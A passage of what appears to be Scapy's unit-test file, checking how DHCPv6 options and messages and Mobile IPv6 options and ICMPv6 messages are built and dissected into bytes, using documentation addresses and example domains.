Instantiation str(DHCP6OptIA_PD()) == '\x00\x19\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #TODO : finish me ##################################################################### + Test DHCP6 Option - NIS Servers = DHCP6OptNISServers - Basic Instantiation str(DHCP6OptNISServers()) == '\x00\x1b\x00\x00' = DHCP6OptNISServers - Basic Dissection a = DHCP6OptNISServers('\x00\x1b\x00\x00') a.optcode == 27 and a. optlen == 0 and a.nisservers == [] = DHCP6OptNISServers - Instantiation with specific values (1 address) str(DHCP6OptNISServers(nisservers = ["2001:db8::1"] )) == '\x00\x1b\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptNISServers - Dissection with specific values (1 address) a = DHCP6OptNISServers('\x00\x1b\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 27 and a.optlen == 16 and len(a.nisservers) == 1 and a.nisservers[0] == "2001:db8::1" = DHCP6OptNISServers - Instantiation with specific values (2 addresses) str(DHCP6OptNISServers(nisservers = ["2001:db8::1", "2001:db8::2"] )) == '\x00\x1b\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptNISServers - Dissection with specific values (2 addresses) a = DHCP6OptNISServers('\x00\x1b\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 27 and a.optlen == 32 and len(a.nisservers) == 2 and a.nisservers[0] == "2001:db8::1" and a.nisservers[1] == "2001:db8::2" ##################################################################### + Test DHCP6 Option - NIS+ Servers = DHCP6OptNISPServers - Basic Instantiation str(DHCP6OptNISPServers()) == '\x00\x1c\x00\x00' = DHCP6OptNISPServers - Basic Dissection a = DHCP6OptNISPServers('\x00\x1c\x00\x00') a.optcode == 28 and a. optlen == 0 and a.nispservers == [] = DHCP6OptNISPServers - Instantiation with specific values (1 address) str(DHCP6OptNISPServers(nispservers = ["2001:db8::1"] )) == '\x00\x1c\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptNISPServers - Dissection with specific values (1 address) a = DHCP6OptNISPServers('\x00\x1c\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 28 and a.optlen == 16 and len(a.nispservers) == 1 and a.nispservers[0] == "2001:db8::1" = DHCP6OptNISPServers - Instantiation with specific values (2 addresses) str(DHCP6OptNISPServers(nispservers = ["2001:db8::1", "2001:db8::2"] )) == '\x00\x1c\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptNISPServers - Dissection with specific values (2 addresses) a = DHCP6OptNISPServers('\x00\x1c\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 28 and a.optlen == 32 and len(a.nispservers) == 2 and a.nispservers[0] == "2001:db8::1" and a.nispservers[1] == "2001:db8::2" ##################################################################### + Test DHCP6 Option - NIS Domain Name = DHCP6OptNISDomain - Basic Instantiation str(DHCP6OptNISDomain()) == '\x00\x1d\x00\x00' = DHCP6OptNISDomain - Basic Dissection a = DHCP6OptNISDomain('\x00\x1d\x00\x00') a.optcode == 29 and a.optlen == 0 and a.nisdomain == "" = DHCP6OptNISDomain - Instantiation with one domain name str(DHCP6OptNISDomain(nisdomain="toto.example.org")) == '\x00\x1d\x00\x11\x04toto\x07example\x03org' = DHCP6OptNISDomain - Dissection with one domain name a = DHCP6OptNISDomain('\x00\x1d\x00\x11\x04toto\x07example\x03org\x00') a.optcode == 29 and a.optlen == 17 and a.nisdomain == "toto.example.org" = DHCP6OptNISDomain - Instantiation with one domain with trailing dot str(DHCP6OptNISDomain(nisdomain="toto.example.org.")) == '\x00\x1d\x00\x12\x04toto\x07example\x03org\x00' ##################################################################### + Test DHCP6 Option - NIS+ Domain Name = DHCP6OptNISPDomain - Basic Instantiation str(DHCP6OptNISPDomain()) == '\x00\x1e\x00\x00' = DHCP6OptNISPDomain - Basic Dissection a = DHCP6OptNISPDomain('\x00\x1e\x00\x00') a.optcode == 30 and a.optlen == 0 and a.nispdomain == "" = DHCP6OptNISPDomain - Instantiation with one domain name str(DHCP6OptNISPDomain(nispdomain="toto.example.org")) == '\x00\x1e\x00\x11\x04toto\x07example\x03org' = DHCP6OptNISPDomain - Dissection with one domain name a = DHCP6OptNISPDomain('\x00\x1e\x00\x11\x04toto\x07example\x03org\x00') a.optcode == 30 and a.optlen == 17 and a.nispdomain == "toto.example.org" = DHCP6OptNISPDomain - Instantiation with one domain with trailing dot str(DHCP6OptNISPDomain(nispdomain="toto.example.org.")) == '\x00\x1e\x00\x12\x04toto\x07example\x03org\x00' ##################################################################### + Test DHCP6 Option - SNTP Servers = DHCP6OptSNTPServers - Basic Instantiation str(DHCP6OptSNTPServers()) == '\x00\x1f\x00\x00' = DHCP6OptSNTPServers - Basic Dissection a = DHCP6OptSNTPServers('\x00\x1f\x00\x00') a.optcode == 31 and a. optlen == 0 and a.sntpservers == [] = DHCP6OptSNTPServers - Instantiation with specific values (1 address) str(DHCP6OptSNTPServers(sntpservers = ["2001:db8::1"] )) == '\x00\x1f\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptSNTPServers - Dissection with specific values (1 address) a = DHCP6OptSNTPServers('\x00\x1f\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 31 and a.optlen == 16 and len(a.sntpservers) == 1 and a.sntpservers[0] == "2001:db8::1" = DHCP6OptSNTPServers - Instantiation with specific values (2 addresses) str(DHCP6OptSNTPServers(sntpservers = ["2001:db8::1", "2001:db8::2"] )) == '\x00\x1f\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptSNTPServers - Dissection with specific values (2 addresses) a = DHCP6OptSNTPServers('\x00\x1f\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 31 and a.optlen == 32 and len(a.sntpservers) == 2 and a.sntpservers[0] == "2001:db8::1" and a.sntpservers[1] == "2001:db8::2" ##################################################################### + Test DHCP6 Option - Information Refresh Time = DHCP6OptInfoRefreshTime - Basic Instantiation str(DHCP6OptInfoRefreshTime()) == '\x00 \x00\x04\x00\x01Q\x80' = DHCP6OptInfoRefreshTime - Basic Dissction a = DHCP6OptInfoRefreshTime('\x00 \x00\x04\x00\x01Q\x80') a.optcode == 32 and a.optlen == 4 and a.reftime == 86400 = DHCP6OptInfoRefreshTime - Instantiation with specific values str(DHCP6OptInfoRefreshTime(optlen=7, reftime=42)) == '\x00 \x00\x07\x00\x00\x00*' ##################################################################### + Test DHCP6 Option - BCMCS Servers = DHCP6OptBCMCSServers - Basic Instantiation str(DHCP6OptBCMCSServers()) == '\x00"\x00\x00' = DHCP6OptBCMCSServers - Basic Dissection a = DHCP6OptBCMCSServers('\x00"\x00\x00') a.optcode == 34 and a. optlen == 0 and a.bcmcsservers == [] = DHCP6OptBCMCSServers - Instantiation with specific values (1 address) str(DHCP6OptBCMCSServers(bcmcsservers = ["2001:db8::1"] )) == '\x00"\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptBCMCSServers - Dissection with specific values (1 address) a = DHCP6OptBCMCSServers('\x00"\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 34 and a.optlen == 16 and len(a.bcmcsservers) == 1 and a.bcmcsservers[0] == "2001:db8::1" = DHCP6OptBCMCSServers - Instantiation with specific values (2 addresses) str(DHCP6OptBCMCSServers(bcmcsservers = ["2001:db8::1", "2001:db8::2"] )) == '\x00"\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptBCMCSServers - Dissection with specific values (2 addresses) a = DHCP6OptBCMCSServers('\x00"\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 34 and a.optlen == 32 and len(a.bcmcsservers) == 2 and a.bcmcsservers[0] == "2001:db8::1" and a.bcmcsservers[1] == "2001:db8::2" ##################################################################### + Test DHCP6 Option - BCMCS Domains = DHCP6OptBCMCSDomains - Basic Instantiation str(DHCP6OptBCMCSDomains()) == '\x00!\x00\x00' = DHCP6OptBCMCSDomains - Basic Dissection a = DHCP6OptBCMCSDomains('\x00!\x00\x00') a.optcode == 33 and a.optlen == 0 and a.bcmcsdomains == [] = DHCP6OptBCMCSDomains - Instantiation with specific values (1 domain) str(DHCP6OptBCMCSDomains(bcmcsdomains=["toto.example.com."])) == '\x00!\x00\x12\x04toto\x07example\x03com\x00' = DHCP6OptBCMCSDomains - Dissection with specific values (1 domain) a = DHCP6OptBCMCSDomains('\x00!\x00\x12\x04toto\x07example\x03com\x00') a.optcode == 33 and a.optlen == 18 and len(a.bcmcsdomains) == 1 and a.bcmcsdomains[0] == "toto.example.com." = DHCP6OptBCMCSDomains - Instantiation with specific values (2 domains) str(DHCP6OptBCMCSDomains(bcmcsdomains=["toto.example.com.", "titi.example.com."])) == '\x00!\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00' = DHCP6OptBCMCSDomains - Dissection with specific values (2 domains) a = DHCP6OptBCMCSDomains('\x00!\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00') a.optcode == 33 and a.optlen == 36 and len(a.bcmcsdomains) == 2 and a.bcmcsdomains[0] == "toto.example.com." and a.bcmcsdomains[1] == "titi.example.com." ##################################################################### + Test DHCP6 Option - Relay Agent Remote-ID = DHCP6OptRemoteID - Basic Instantiation str(DHCP6OptRemoteID()) == '\x00%\x00\x04\x00\x00\x00\x00' = DHCP6OptRemoteID - Basic Dissection a = DHCP6OptRemoteID('\x00%\x00\x04\x00\x00\x00\x00') a.optcode == 37 and a.optlen == 4 and a.enterprisenum == 0 and a.remoteid == "" = DHCP6OptRemoteID - Instantiation with specific values str(DHCP6OptRemoteID(enterprisenum=0xeeeeeeee, remoteid="someid")) == '\x00%\x00\n\xee\xee\xee\xeesomeid' = DHCP6OptRemoteID - Dissection with specific values a = DHCP6OptRemoteID('\x00%\x00\n\xee\xee\xee\xeesomeid') a.optcode == 37 and a.optlen == 10 and a.enterprisenum == 0xeeeeeeee and a.remoteid == "someid" ##################################################################### + Test DHCP6 Option - Subscriber ID = DHCP6OptSubscriberID - Basic Instantiation str(DHCP6OptSubscriberID()) == '\x00&\x00\x00' = DHCP6OptSubscriberID - Basic Dissection a = DHCP6OptSubscriberID('\x00&\x00\x00') a.optcode == 38 and a.optlen == 0 and a.subscriberid == "" = DHCP6OptSubscriberID - Instantiation with specific values str(DHCP6OptSubscriberID(subscriberid="someid")) == '\x00&\x00\x06someid' = DHCP6OptSubscriberID - Dissection with specific values a = DHCP6OptSubscriberID('\x00&\x00\x06someid') a.optcode == 38 and a.optlen == 6 and a.subscriberid == "someid" ##################################################################### + Test DHCP6 Option - Client FQDN = DHCP6OptClientFQDN - Basic Instantiation str(DHCP6OptClientFQDN()) == "\x00'\x00\x01\x00" = DHCP6OptClientFQDN - Basic Dissection a = DHCP6OptClientFQDN("\x00'\x00\x01\x00") a.optcode == 39 and a.optlen == 1 and a.res == 0 and a.flags == 0 and a.fqdn == "" = DHCP6OptClientFQDN - Instantiation with various flags combinations str(DHCP6OptClientFQDN(flags="S")) == "\x00'\x00\x01\x01" and str(DHCP6OptClientFQDN(flags="O")) == "\x00'\x00\x01\x02" and str(DHCP6OptClientFQDN(flags="N")) == "\x00'\x00\x01\x04" and str(DHCP6OptClientFQDN(flags="SON")) == "\x00'\x00\x01\x07" and str(DHCP6OptClientFQDN(flags="ON")) == "\x00'\x00\x01\x06" = DHCP6OptClientFQDN - Instantiation with one fqdn str(DHCP6OptClientFQDN(fqdn="toto.example.org")) == "\x00'\x00\x12\x00\x04toto\x07example\x03org" = DHCP6OptClientFQDN - Dissection with one fqdn a = DHCP6OptClientFQDN("\x00'\x00\x12\x00\x04toto\x07example\x03org\x00") a.optcode == 39 and a.optlen == 18 and a.res == 0 and a.flags == 0 and a.fqdn == "toto.example.org" ##################################################################### + Test DHCP6 Option Relay Agent Echo Request Option = DHCP6OptRelayAgentERO - Basic Instantiation str(DHCP6OptRelayAgentERO()) == '\x00+\x00\x04\x00\x17\x00\x18' = DHCP6OptRelayAgentERO - optlen field computation str(DHCP6OptRelayAgentERO(reqopts=[1,2,3,4])) == '\x00+\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04' = DHCP6OptRelayAgentERO - instantiation with empty list str(DHCP6OptRelayAgentERO(reqopts=[])) == '\x00+\x00\x00' = DHCP6OptRelayAgentERO - Basic dissection a=DHCP6OptRelayAgentERO('\x00+\x00\x00') a.optcode == 43 and a.optlen == 0 and a.reqopts == [23,24] = DHCP6OptRelayAgentERO - Dissection with specific value a=DHCP6OptRelayAgentERO('\x00+\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04') a.optcode == 43 and a.optlen == 8 and a.reqopts == [1,2,3,4] ##################################################################### + Test DHCP6 Messages - DHCP6_Solicit = DHCP6_Solicit - Basic Instantiation str(DHCP6_Solicit()) == '\x01\x00\x00\x00' = DHCP6_Solicit - Basic Dissection a = DHCP6_Solicit('\x01\x00\x00\x00') a.msgtype == 1 and a.trid == 0 = DHCP6_Solicit - Basic test of DHCP6_solicit.hashret() DHCP6_Solicit().hashret() == '\x00\x00\x00' = DHCP6_Solicit - Test of DHCP6_solicit.hashret() with specific values DHCP6_Solicit(trid=0xbbccdd).hashret() == '\xbb\xcc\xdd' = DHCP6_Solicit - UDP ports overload a=UDP()/DHCP6_Solicit() a.sport == 546 and a.dport == 547 = DHCP6_Solicit - Dispatch based on UDP port a=UDP(str(UDP()/DHCP6_Solicit())) isinstance(a.payload, DHCP6_Solicit) ##################################################################### + Test DHCP6 Messages - DHCP6_Advertise = DHCP6_Advertise - Basic Instantiation str(DHCP6_Advertise()) == '\x02\x00\x00\x00' = DHCP6_Advertise - Basic test of DHCP6_solicit.hashret() DHCP6_Advertise().hashret() == '\x00\x00\x00' = DHCP6_Advertise - Test of DHCP6_Advertise.hashret() with specific values DHCP6_Advertise(trid=0xbbccdd).hashret() == '\xbb\xcc\xdd' = DHCP6_Advertise - Basic test of answers() with solicit message a = DHCP6_Solicit() b = DHCP6_Advertise() a > b = DHCP6_Advertise - Test of answers() with solicit message a = DHCP6_Solicit(trid=0xbbccdd) b = DHCP6_Advertise(trid=0xbbccdd) a > b = DHCP6_Advertise - UDP ports overload a=UDP()/DHCP6_Advertise() a.sport == 547 and a.dport == 546 ##################################################################### + Test DHCP6 Messages - DHCP6_Request = DHCP6_Request - Basic Instantiation str(DHCP6_Request()) == '\x03\x00\x00\x00' = DHCP6_Request - Basic Dissection a=DHCP6_Request('\x03\x00\x00\x00') a.msgtype == 3 and a.trid == 0 = DHCP6_Request - UDP ports overload a=UDP()/DHCP6_Request() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Confirm = DHCP6_Confirm - Basic Instantiation str(DHCP6_Confirm()) == '\x04\x00\x00\x00' = DHCP6_Confirm - Basic Dissection a=DHCP6_Confirm('\x04\x00\x00\x00') a.msgtype == 4 and a.trid == 0 = DHCP6_Confirm - UDP ports overload a=UDP()/DHCP6_Confirm() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Renew = DHCP6_Renew - Basic Instantiation str(DHCP6_Renew()) == '\x05\x00\x00\x00' = DHCP6_Renew - Basic Dissection a=DHCP6_Renew('\x05\x00\x00\x00') a.msgtype == 5 and a.trid == 0 = DHCP6_Renew - UDP ports overload a=UDP()/DHCP6_Renew() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Rebind = DHCP6_Rebind - Basic Instantiation str(DHCP6_Rebind()) == '\x06\x00\x00\x00' = DHCP6_Rebind - Basic Dissection a=DHCP6_Rebind('\x06\x00\x00\x00') a.msgtype == 6 and a.trid == 0 = DHCP6_Rebind - UDP ports overload a=UDP()/DHCP6_Rebind() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Reply = DHCP6_Reply - Basic Instantiation str(DHCP6_Reply()) == '\x07\x00\x00\x00' = DHCP6_Reply - Basic Dissection a=DHCP6_Reply('\x07\x00\x00\x00') a.msgtype == 7 and a.trid == 0 = DHCP6_Reply - UDP ports overload a=UDP()/DHCP6_Reply() a.sport == 547 and a.dport == 546 ##################################################################### + Test DHCP6 Messages - DHCP6_Release = DHCP6_Release - Basic Instantiation str(DHCP6_Release()) == '\x08\x00\x00\x00' = DHCP6_Release - Basic Dissection a=DHCP6_Release('\x08\x00\x00\x00') a.msgtype == 8 and a.trid == 0 = DHCP6_Release - UDP ports overload a=UDP()/DHCP6_Release() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Decline = DHCP6_Decline - Basic Instantiation str(DHCP6_Decline()) == '\x09\x00\x00\x00' = DHCP6_Confirm - Basic Dissection a=DHCP6_Confirm('\x09\x00\x00\x00') a.msgtype == 9 and a.trid == 0 = DHCP6_Decline - UDP ports overload a=UDP()/DHCP6_Decline() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Reconf = DHCP6_Reconf - Basic Instantiation str(DHCP6_Reconf()) == '\x0A\x00\x00\x00' = DHCP6_Reconf - Basic Dissection a=DHCP6_Reconf('\x0A\x00\x00\x00') a.msgtype == 10 and a.trid == 0 = DHCP6_Reconf - UDP ports overload a=UDP()/DHCP6_Reconf() a.sport == 547 and a.dport == 546 ##################################################################### + Test DHCP6 Messages - DHCP6_InfoRequest = DHCP6_InfoRequest - Basic Instantiation str(DHCP6_InfoRequest()) == '\x0B\x00\x00\x00' = DHCP6_InfoRequest - Basic Dissection a=DHCP6_InfoRequest('\x0B\x00\x00\x00') a.msgtype == 11 and a.trid == 0 = DHCP6_InfoRequest - UDP ports overload a=UDP()/DHCP6_InfoRequest() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_RelayForward = DHCP6_RelayForward - Basic Instantiation str(DHCP6_RelayForward()) == '\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6_RelayForward - Basic Dissection a=DHCP6_RelayForward('\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.msgtype == 12 and a.hopcount == 0 and a.linkaddr == "::" and a.peeraddr == "::" = DHCP6_RelayForward - Dissection with options a = DHCP6_RelayForward('\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x04\x00\x01\x00\x00') a.msgtype == 12 and DHCP6OptRelayMsg in a and DHCP6OptClientId in a ##################################################################### + Test DHCP6 Messages - DHCP6_RelayReply = DHCP6_RelayReply - Basic Instantiation str(DHCP6_RelayReply()) == '\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6_RelayReply - Basic Dissection a=DHCP6_RelayReply('\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.msgtype == 13 and a.hopcount == 0 and a.linkaddr == "::" and a.peeraddr == "::" ##################################################################### ##################################################################### ################# MIPv6 and NEMO ################# ##################################################################### ##################################################################### + Home Agent Address Discovery = in6_getha() in6_getha('2001:db8::') == '2001:db8::fdff:ffff:ffff:fffe' = ICMPv6HAADRequest - build/dissection p = IPv6(str(IPv6(dst=in6_getha('2001:db8::'), src='2001:db8::1')/ICMPv6HAADRequest(id=42))) p.cksum == 0x9620 and p.dst == '2001:db8::fdff:ffff:ffff:fffe' and p.R == 1 = ICMPv6HAADReply - build/dissection p = IPv6(str(IPv6(dst='2001:db8::1', src='2001:db8::42')/ICMPv6HAADReply(id=42, addresses=['2001:db8::2', '2001:db8::3']))) p.cksum = 0x3747 and p.addresses == [ '2001:db8::2', '2001:db8::3' ] = ICMPv6HAADRequest / ICMPv6HAADReply - build/dissection a=ICMPv6HAADRequest(id=42) b=ICMPv6HAADReply(id=42) not a < b and a > b + Mobile Prefix Solicitation/Advertisement = ICMPv6MPSol - build (default values) s = '`\x00\x00\x00\x00\x08:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x92\x00m\xbb\x00\x00\x00\x00' str(IPv6()/ICMPv6MPSol()) == s = ICMPv6MPSol - dissection (default values) p = IPv6(s) p[ICMPv6MPSol].type == 146 and p[ICMPv6MPSol].cksum == 0x6dbb and p[ICMPv6MPSol].id == 0 = ICMPv6MPSol - build s = '`\x00\x00\x00\x00\x08:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x92\x00(\x08\x00\x08\x00\x00' str(IPv6()/ICMPv6MPSol(cksum=0x2808, id=8)) == s = ICMPv6MPSol - dissection p = IPv6(s) p[ICMPv6MPSol].cksum == 0x2808 and p[ICMPv6MPSol].id == 8 = ICMPv6MPAdv - build (default values) s = '`\x00\x00\x00\x00(:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x93\x00\xe8\xd6\x00\x00\x80\x00\x03\x04\x00\xc0\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' str(IPv6()/ICMPv6MPAdv()/ICMPv6NDOptPrefixInfo()) == s = ICMPv6MPAdv - dissection (default values) p = IPv6(s) p[ICMPv6MPAdv].type == 147 and p[ICMPv6MPAdv].cksum == 0xe8d6 and p[ICMPv6NDOptPrefixInfo].prefix == '::' = ICMPv6MPAdv - build s = '`\x00\x00\x00\x00(:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x93\x00(\x07\x00*@\x00\x03\x04\x00@\xff\xff\xff\xff\x00\x00\x00\x0c\x00\x00\x00\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' str(IPv6()/ICMPv6MPAdv(cksum=0x2807, flags=1, id=42)/ICMPv6NDOptPrefixInfo(prefix='2001:db8::1', L=0, preferredlifetime=12)) == s = ICMPv6MPAdv - dissection p = IPv6(s) p[ICMPv6MPAdv].cksum == 0x2807 and p[ICMPv6MPAdv].flags == 1 and p[ICMPv6MPAdv].id == 42 and p[ICMPv6NDOptPrefixInfo].prefix == '2001:db8::1' and p[ICMPv6NDOptPrefixInfo].preferredlifetime == 12 + Type 2 Routing Header = IPv6ExtHdrRouting - type 2 - build/dissection p = IPv6(str(IPv6(dst='2001:db8::1', src='2001:db8::2')/IPv6ExtHdrRouting(type=2, addresses=['2001:db8::3'])/ICMPv6EchoRequest())) p.type == 2 and len(p.addresses) == 1 and p.cksum == 0x2446 + Mobility Options - Binding Refresh Advice = MIP6OptBRAdvice - build (default values) s = '\x02\x02\x00\x00' str(MIP6OptBRAdvice()) == s = MIP6OptBRAdvice - dissection (default values) p = MIP6OptBRAdvice(s) p.otype == 2 and p.olen == 2 and p.rinter == 0 = MIP6OptBRAdvice - build s = '\x03*\n\xf7' str(MIP6OptBRAdvice(otype=3, olen=42, rinter=2807)) == s = MIP6OptBRAdvice - dissection p = MIP6OptBRAdvice(s) p.otype == 3 and p.olen == 42 and p.rinter == 2807 + Mobility Options - Alternate Care-of Address = MIP6OptAltCoA - build (default values) s = '\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' str(MIP6OptAltCoA()) == s = MIP6OptAltCoA - dissection (default values) p = MIP6OptAltCoA(s) p.otype == 3 and p.olen == 16 and p.acoa == '::' = MIP6OptAltCoA - build s = '*\x08 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' str(MIP6OptAltCoA(otype=42, olen=8, acoa='2001:db8::1')) == s = MIP6OptAltCoA - dissection p = MIP6OptAltCoA(s) p.otype == 42 and p.olen == 8 and p.acoa == '2001:db8::1' + Mobility Options - Nonce Indices = MIP6OptNonceIndices - build (default values) s = '\x04\x10\x00\x00\x00\x00' str(MIP6OptNonceIndices()) == s = MIP6OptNonceIndices - dissection (default values) p = MIP6OptNonceIndices(s) p.otype == 4 and p.olen == 16 and p.hni == 0 and p.coni == 0 = MIP6OptNonceIndices - build s = '\x04\x12\x00\x13\x00\x14' str(MIP6OptNonceIndices(olen=18, hni=19, coni=20)) == s = MIP6OptNonceIndices - dissection p = MIP6OptNonceIndices(s) p.hni == 19 and p.coni == 20 + Mobility Options - Binding Authentication Data = MIP6OptBindingAuthData - build (default values) s = '\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' str(MIP6OptBindingAuthData()) == s = MIP6OptBindingAuthData - dissection (default values) p = MIP6OptBindingAuthData(s) p.otype == 5 and p.olen == 16 and p.authenticator == 0 = MIP6OptBindingAuthData - build s = '\x05*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\xf7' str(MIP6OptBindingAuthData(olen=42, authenticator=2807)) == s = MIP6OptBindingAuthData - dissection p = MIP6OptBindingAuthData(s) p.otype == 5 and p.olen == 42 and p.authenticator == 2807 + Mobility Options - Mobile Network Prefix = MIP6OptMobNetPrefix - build (default values) s = '\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' str(MIP6OptMobNetPrefix()) == s = MIP6OptMobNetPrefix - dissection (default values) p = MIP6OptMobNetPrefix(s) p.otype == 6 and p.olen == 18 and p.plen == 64 and p.prefix == '::' = MIP6OptMobNetPrefix - build s = '\x06*\x02 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' str(MIP6OptMobNetPrefix(olen=42, reserved=2, plen=32, prefix='2001:db8::')) == s = MIP6OptMobNetPrefix - dissection p = MIP6OptMobNetPrefix(s) p.olen == 42 and p.reserved == 2 and p.plen == 32 and p.prefix == '2001:db8::' + Mobility Options - Link-Layer Address (MH-LLA) = MIP6OptLLAddr - basic build str(MIP6OptLLAddr()) == '\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00' = MIP6OptLLAddr - basic dissection p = MIP6OptLLAddr('\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00') p.otype == 7 and p.olen == 7 and p.ocode == 2 and p.pad == 0 and p.lla == "00:00:00:00:00:00" = MIP6OptLLAddr - build with specific values str(MIP6OptLLAddr(olen=42, ocode=4, pad=0xff, lla='EE:EE:EE:EE:EE:EE')) == '\x07*\x04\xff\xee\xee\xee\xee\xee\xee' = MIP6OptLLAddr - dissection with specific values p = MIP6OptLLAddr('\x07*\x04\xff\xee\xee\xee\xee\xee\xee') str(MIP6OptLLAddr(olen=42, ocode=4, pad=0xff, lla='EE:EE:EE:EE:EE:EE')) p.otype == 7 and p.olen == 42 and p.ocode == 4 and p.pad == 0xff and p.lla == "ee:ee:ee:ee:ee:ee" + Mobility Options - Mobile Node Identifier = MIP6OptMNID - basic build str(MIP6OptMNID()) == '\x08\x01\x01' = MIP6OptMNID - basic dissection p = MIP6OptMNID('\x08\x01\x01') p.otype == 8 and p.olen == 1 and p.subtype == 1 and p.id == "" = MIP6OptMNID - build with specific values str(MIP6OptMNID(subtype=42, id="someid")) == '\x08\x07*someid' = MIP6OptMNID - dissection with specific values p = MIP6OptMNID('\x08\x07*someid') p.otype == 8 and p.olen == 7 and p.subtype == 42 and p.id == "someid" + Mobility Options - Message Authentication = MIP6OptMsgAuth - basic build str(MIP6OptMsgAuth()) == '\x09\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' = MIP6OptMsgAuth - 